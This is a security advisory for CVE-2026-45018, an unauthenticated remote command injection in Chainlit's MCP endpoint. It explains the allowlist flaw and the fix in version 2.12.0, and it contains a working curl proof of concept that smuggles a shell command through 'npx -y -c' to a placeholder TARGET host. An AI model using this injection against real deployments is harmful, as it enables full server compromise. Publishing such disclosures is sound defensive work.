| Package | Affected versions | Patched versions |
|---|---|---|
| chainlit | ≥ 2.4.0rc0, < 2.12.0 | 2.12.0 |
Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.
When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.
| CVE | CVE-2026-45018 |
| Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) |
| Patched | 2.12.0 (releasing 2026-08-25) |
validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.
Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.
There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.
The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on prevent exploitation.
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Scan my site free/mcpVulnerable code: backend/chainlit/mcp.py — validate_mcp_command()
Sink: backend/chainlit/server.py — StdioServerParameters
Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.
sessionId:EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "rce-proof",
"clientType": "stdio",
"name": "poc",
"fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
}'
The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.
Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.
Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.
If you cannot upgrade immediately:
features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019)./mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.Breaking change. 2.12.0 changes how MCP servers are configured. If
.chainlit/config.tomlstill uses the legacy[features.mcp.sse],[features.mcp.stdio], or[features.mcp.streamable-http]sections, or theallowed_executablessetting, the application will fail to start once MCP is enabled, until you migrate to the new[[features.mcp.servers]]configuration. See the migration guide inCHANGELOG.mdbefore upgrading. Deployments withfeatures.mcp.enabled = falseare not affected by this startup check.
/mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.Vipin [email protected] SPL [email protected]